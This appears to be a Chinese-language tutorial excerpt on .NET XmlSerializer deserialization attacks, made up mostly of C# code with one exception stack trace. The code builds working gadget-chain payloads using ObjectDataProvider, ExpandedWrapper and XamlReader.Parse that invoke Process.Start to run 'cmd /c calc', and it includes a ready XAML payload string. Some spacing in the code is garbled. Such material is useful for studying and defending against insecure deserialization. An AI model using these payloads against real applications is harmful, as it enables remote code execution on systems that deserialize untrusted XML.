using System; using System.IO; using System.Text; using System.Xml.Serialization; namespaceXmlDeserialize { publicclassPerson { publicstring name = "Boogipop"; privateint age = 114; } publicclassXmlDeserialize { publicstaticvoidMain(string[] args) { var person = new Person(); XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person)); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); // 序列化 xmlSerializer.Serialize(writer, person);
using System; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text; using System.Windows; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespaceXmlDeserialize { publicclassPerson { publicstring name = "Boogipop"; privateint age = 114; } publicclassXmlDeserialize { publicstaticvoidMain(string[] args) { var objectDataProvider = new ObjectDataProvider(); var psi = new ProcessStartInfo(); psi.FileName = "calc"; psi.Arguments = "test"; // 去掉多余的环境变量 StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); var p = new Process(); p.StartInfo = psi; objectDataProvider.MethodName = "Start"; objectDataProvider.MethodParameters.Add("cmd.exe"); objectDataProvider.MethodParameters.Add("/c calc.exe"); objectDataProvider.ObjectInstance = p; var resourceDictionary = new ResourceDictionary(); resourceDictionary["a"] = objectDataProvider; var payload = XamlWriter.Save(resourceDictionary); Console.WriteLine(payload); // XamlReader.Parse(payload); } } }
using System; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text; using System.Windows; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespaceXmlDeserialize {
publicclassXmlDeserialize { publicstaticvoidMain(string[] args) { var objectDataProvider = new ObjectDataProvider(); objectDataProvider.MethodName = "Start"; objectDataProvider.MethodParameters.Add("cmd.exe"); objectDataProvider.MethodParameters.Add("/c calc.exe"); objectDataProvider.ObjectInstance = new Process(); XmlSerializer xmlSerializer = new XmlSerializer(typeof(ObjectDataProvider)); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); // 序列化 xmlSerializer.Serialize(writer, objectDataProvider); Console.WriteLine(memoryStream.Position); memoryStream.Position = 0; // 输出xml Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray())); // 反序列化 Person p1 = (Person)xmlSerializer.Deserialize(memoryStream); Console.WriteLine(p1.name); } } }
当运行上述程序后会受到报错。
1 2 3 4 5 6 7 8 9 10 11
未经处理的异常: System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclu de 特性静态指定非已知的类型。 在 System.Xml.Serialization.XmlSerializationWriter.WriteTypedPrimitive(String name, String ns, Object o, Boolean xsiType) 在 Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObjectDataProvider.Write1_Object(String n, String ns, Object o, Boolean isNullable, Boolean needType) 在 Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObjectDataProvider.Write5_ObjectDataProvider(String n, String ns, ObjectDataProvider o, Boolean isNullabl e, Boolean needType) 在 Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObjectDataProvider.Write6_ObjectDataProvider(Object o) --- 内部异常堆栈跟踪的结尾 --- 在 System.Xml.Serialization.XmlSerializer.Serialize(XmlWriter xmlWriter, Object o, XmlSerializerNamespaces namespaces, String encodingStyle, String id) 在 System.Xml.Serialization.XmlSerializer.Serialize(TextWriter textWriter, Object o, XmlSerializerNamespaces namespaces) 在 XmlDeserialize.XmlDeserialize.Main(String[] args)
using System; using System.Collections.Specialized; using System.Data.Services.Internal; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text; using System.Windows; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespaceXmlDeserialize { publicclassXmlDeserialize { publicstaticvoidMain(string[] args) { MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.MethodName = "Start"; expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc"); expandedWrapper.ProjectedProperty0.ObjectInstance = new Process(); XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); string result = Encoding.UTF8.GetString(memoryStream.ToArray()); Console.WriteLine(result);
using System; using System.Collections.Specialized; using System.Data.Services.Internal; using System.Diagnostics; using System.IO; using System.Reflection; using System.Text; using System.Windows; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespaceXmlDeserialize { publicclassXmlDeserialize { publicstaticvoidMain(string[] args) { MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); var payload = "<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <b:String>cmd</b:String>\n <b:String>/c calc</b:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n</ResourceDictionary>"; ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.MethodName = "Parse"; expandedWrapper.ProjectedProperty0.MethodParameters.Add(payload); expandedWrapper.ProjectedProperty0.ObjectInstance=new XamlReader(); XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); string result = Encoding.UTF8.GetString(memoryStream.ToArray()); Console.WriteLine(result);